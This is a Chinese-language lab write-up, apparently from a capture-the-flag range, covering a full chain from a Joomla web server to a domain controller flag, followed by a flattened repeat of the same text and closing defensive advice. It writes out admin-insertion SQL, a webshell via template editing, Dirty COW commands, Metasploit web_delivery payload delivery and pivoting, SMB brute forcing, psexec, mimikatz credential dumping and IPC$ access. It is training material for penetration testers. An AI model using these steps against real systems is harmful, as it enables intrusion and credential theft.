一次简单的内网渗透靶场实战2
字数 1992 2025-08-05 08:19:40

内网渗透靶场实战教学文档

环境概述

网络拓扑

  • 攻击机: Kali Linux (192.168.1.10)
  • 靶场环境:
    • CentOS(外): 192.168.1.110 (反向代理主机)
    • CentOS(内): 192.168.93.100
    • Ubuntu: 192.168.93.120
    • 域内主机:
      • Winserver2012 (域控): 192.168.93.10
      • Winserver2008: 192.168.93.20
      • Windows7: 192.168.93.30

初始条件

  • 黑盒测试,无任何账户密码信息
  • 目标:获取域控(192.168.93.10)中的flag

渗透测试流程

第一阶段:外网渗透

1. 信息收集

  • 使用nmap扫描外网CentOS(192.168.1.110):
    nmap -T4 -sC -sV 192.168.1.110
    
    • 开放端口:22(SSH)、80(HTTP)、3306(MySQL)
    • Web服务使用Joomla框架

2. Web应用测试

  • 尝试Joomla 3.4.6及以下版本的RCE漏洞,失败
  • 扫描后台目录发现:
    • /administrator - Joomla后台登录
    • /configuration.php - 包含数据库凭据

3. 数据库访问

  • 使用Navicat连接MySQL(192.168.1.110:3306)
    • 用户名/密码从configuration.php获取
    • 发现umnbt_users表,但密码为加密形式

4. Joomla管理员账户创建

  • 通过SQL语句添加管理员账户:
    INSERT INTO `umnbt_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) 
    VALUES ('Administrator2', 'admin2', '$2y$10$92XjZQY8Qd19nZOXgXUy5O4H7jG1UQYQjZJYd3JYd3JYd3JYd3JYd', '', NOW(), NOW(), NOW());
    
    INSERT INTO `umnbt_user_usergroup_map` (`user_id`, `group_id`) 
    VALUES (LAST_INSERT_ID(), 8);
    
    • 账户:admin2/secret

5. 获取Webshell

  • 登录Joomla后台(admin2/secret)
  • 通过模板编辑功能插入PHP代码:
    • 路径:Extensions > Template > Templates > Beez3
    • 插入变形的一句话木马

6. 绕过disable_functions

  • 使用蚁剑插件绕过限制
  • 上传绕过脚本(.antproxy.php)失败后,改用Python脚本通过参数执行命令

第二阶段:内网发现

1. 网络环境分析

  • ifconfig显示内网IP(192.168.93.0/24)
  • arp -a确认内网网段
  • 确认Nginx反向代理架构:
    • 外网IP(192.168.1.110)为反向代理
    • 真实服务器在内网(192.168.93.0/24)

2. 获取SSH访问

  • 在缓存目录发现test.txt包含SSH凭据
  • 连接SSH(192.168.1.110)获得反向代理主机访问权限

3. 权限提升

  • 使用脏牛(Dirty COW)漏洞提权:
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty 123456
    
    • 创建高权限用户firefart/123456

第三阶段:内网横向移动

1. 建立持久访问

  • 使用MSF生成Linux payload:
    use exploit/multi/script/web_delivery
    set lhost 192.168.1.10
    set lport 4444
    set target 7
    run
    

2. 内网代理配置

  • 添加路由:
    route add 192.168.93.0 255.255.255.0 1
    
  • 设置SOCKS代理:
    use auxiliary/server/socks_proxy
    set version 4a
    run
    
  • 配置proxychains:
    vim /etc/proxychains.conf
    

3. 内网扫描

  • 使用MSF扫描内网主机:
    use auxiliary/scanner/discovery/udp_probe
    set rhosts 192.168.93.1-255
    set threads 20
    run
    
  • 发现三台主机:
    • 192.168.93.10 (域控): 开放88(Kerberos)、389(LDAP)端口
    • 192.168.93.20: 开放1433(MSSQL)
    • 192.168.93.30: 普通域成员

4. 密码枚举

  • 使用smb_login模块爆破192.168.93.20:
    use auxiliary/scanner/smb/smb_login
    set rhosts 192.168.93.20
    set SMBUser Administrator
    set PASS_FILE /tmp/1W.txt
    run
    
    • 获取密码:123qwe!ASD

5. 横向移动

  • 使用psexec获取cmd:
    psexec64.exe \\192.168.93.20 cmd
    
  • 使用mimikatz抓取凭证:
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
    
    • 获取域管凭据:Administrator/zxcASDqw123!!

第四阶段:域控攻陷

1. 访问域控

  • 使用IPC$连接域控(192.168.93.10):
    net use \\192.168.93.10\IPC$ /user:Administrator zxcASDqw123!!
    

2. 获取flag

  • 查看域控文件:
    dir \\192.168.93.10\C$\users\Administrator\Documents
    type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
    

关键技术点总结

  1. Joomla漏洞利用

    • 通过配置文件泄露获取数据库凭据
    • 使用SQL添加管理员账户
  2. Webshell获取

    • 利用模板编辑功能插入恶意代码
    • 绕过disable_functions限制
  3. Nginx反向代理分析

    • 识别真实内网IP段
    • 理解反向代理架构
  4. Linux提权

    • 脏牛(Dirty COW)漏洞利用
    • 创建高权限用户
  5. 内网渗透技术

    • MSF路由和SOCKS代理配置
    • 内网主机发现和端口扫描
    • SMB密码爆破
  6. 横向移动技术

    • psexec使用
    • mimikatz凭证提取
    • IPC$连接利用
  7. 域控访问

    • 使用获取的域管凭据直接访问域控
    • 查找和读取敏感文件

防御建议

  1. Web应用安全

    • 及时更新CMS和插件
    • 删除不必要的配置文件
    • 限制数据库权限
  2. 系统安全

    • 及时修补已知漏洞(如脏牛)
    • 禁用不必要的服务
    • 使用强密码策略
  3. 网络架构

    • 合理配置反向代理
    • 实施网络分段
    • 监控异常连接
  4. 域安全

    • 限制域管账户使用
    • 启用LSA保护
    • 监控敏感文件访问

通过本案例可以全面了解从外网渗透到内网横向移动,最终获取域控权限的完整流程,掌握常见的内网渗透技术和工具使用方法。

内网渗透靶场实战教学文档 环境概述 网络拓扑 攻击机 : Kali Linux (192.168.1.10) 靶场环境 : CentOS(外): 192.168.1.110 (反向代理主机) CentOS(内): 192.168.93.100 Ubuntu: 192.168.93.120 域内主机: Winserver2012 (域控): 192.168.93.10 Winserver2008: 192.168.93.20 Windows7: 192.168.93.30 初始条件 黑盒测试,无任何账户密码信息 目标:获取域控(192.168.93.10)中的flag 渗透测试流程 第一阶段:外网渗透 1. 信息收集 使用nmap扫描外网CentOS(192.168.1.110): 开放端口:22(SSH)、80(HTTP)、3306(MySQL) Web服务使用Joomla框架 2. Web应用测试 尝试Joomla 3.4.6及以下版本的RCE漏洞,失败 扫描后台目录发现: /administrator - Joomla后台登录 /configuration.php - 包含数据库凭据 3. 数据库访问 使用Navicat连接MySQL(192.168.1.110:3306) 用户名/密码从configuration.php获取 发现 umnbt_users 表,但密码为加密形式 4. Joomla管理员账户创建 通过SQL语句添加管理员账户: 账户:admin2/secret 5. 获取Webshell 登录Joomla后台(admin2/secret) 通过模板编辑功能插入PHP代码: 路径:Extensions > Template > Templates > Beez3 插入变形的一句话木马 6. 绕过disable_ functions 使用蚁剑插件绕过限制 上传绕过脚本(.antproxy.php)失败后,改用Python脚本通过参数执行命令 第二阶段:内网发现 1. 网络环境分析 ifconfig 显示内网IP(192.168.93.0/24) arp -a 确认内网网段 确认Nginx反向代理架构: 外网IP(192.168.1.110)为反向代理 真实服务器在内网(192.168.93.0/24) 2. 获取SSH访问 在缓存目录发现test.txt包含SSH凭据 连接SSH(192.168.1.110)获得反向代理主机访问权限 3. 权限提升 使用脏牛(Dirty COW)漏洞提权: 创建高权限用户firefart/123456 第三阶段:内网横向移动 1. 建立持久访问 使用MSF生成Linux payload: 2. 内网代理配置 添加路由: 设置SOCKS代理: 配置proxychains: 3. 内网扫描 使用MSF扫描内网主机: 发现三台主机: 192.168.93.10 (域控): 开放88(Kerberos)、389(LDAP)端口 192.168.93.20: 开放1433(MSSQL) 192.168.93.30: 普通域成员 4. 密码枚举 使用smb_ login模块爆破192.168.93.20: 获取密码:123qwe !ASD 5. 横向移动 使用psexec获取cmd: 使用mimikatz抓取凭证: 获取域管凭据:Administrator/zxcASDqw123! ! 第四阶段:域控攻陷 1. 访问域控 使用IPC$连接域控(192.168.93.10): 2. 获取flag 查看域控文件: 关键技术点总结 Joomla漏洞利用 : 通过配置文件泄露获取数据库凭据 使用SQL添加管理员账户 Webshell获取 : 利用模板编辑功能插入恶意代码 绕过disable_ functions限制 Nginx反向代理分析 : 识别真实内网IP段 理解反向代理架构 Linux提权 : 脏牛(Dirty COW)漏洞利用 创建高权限用户 内网渗透技术 : MSF路由和SOCKS代理配置 内网主机发现和端口扫描 SMB密码爆破 横向移动技术 : psexec使用 mimikatz凭证提取 IPC$连接利用 域控访问 : 使用获取的域管凭据直接访问域控 查找和读取敏感文件 防御建议 Web应用安全 : 及时更新CMS和插件 删除不必要的配置文件 限制数据库权限 系统安全 : 及时修补已知漏洞(如脏牛) 禁用不必要的服务 使用强密码策略 网络架构 : 合理配置反向代理 实施网络分段 监控异常连接 域安全 : 限制域管账户使用 启用LSA保护 监控敏感文件访问 通过本案例可以全面了解从外网渗透到内网横向移动,最终获取域控权限的完整流程,掌握常见的内网渗透技术和工具使用方法。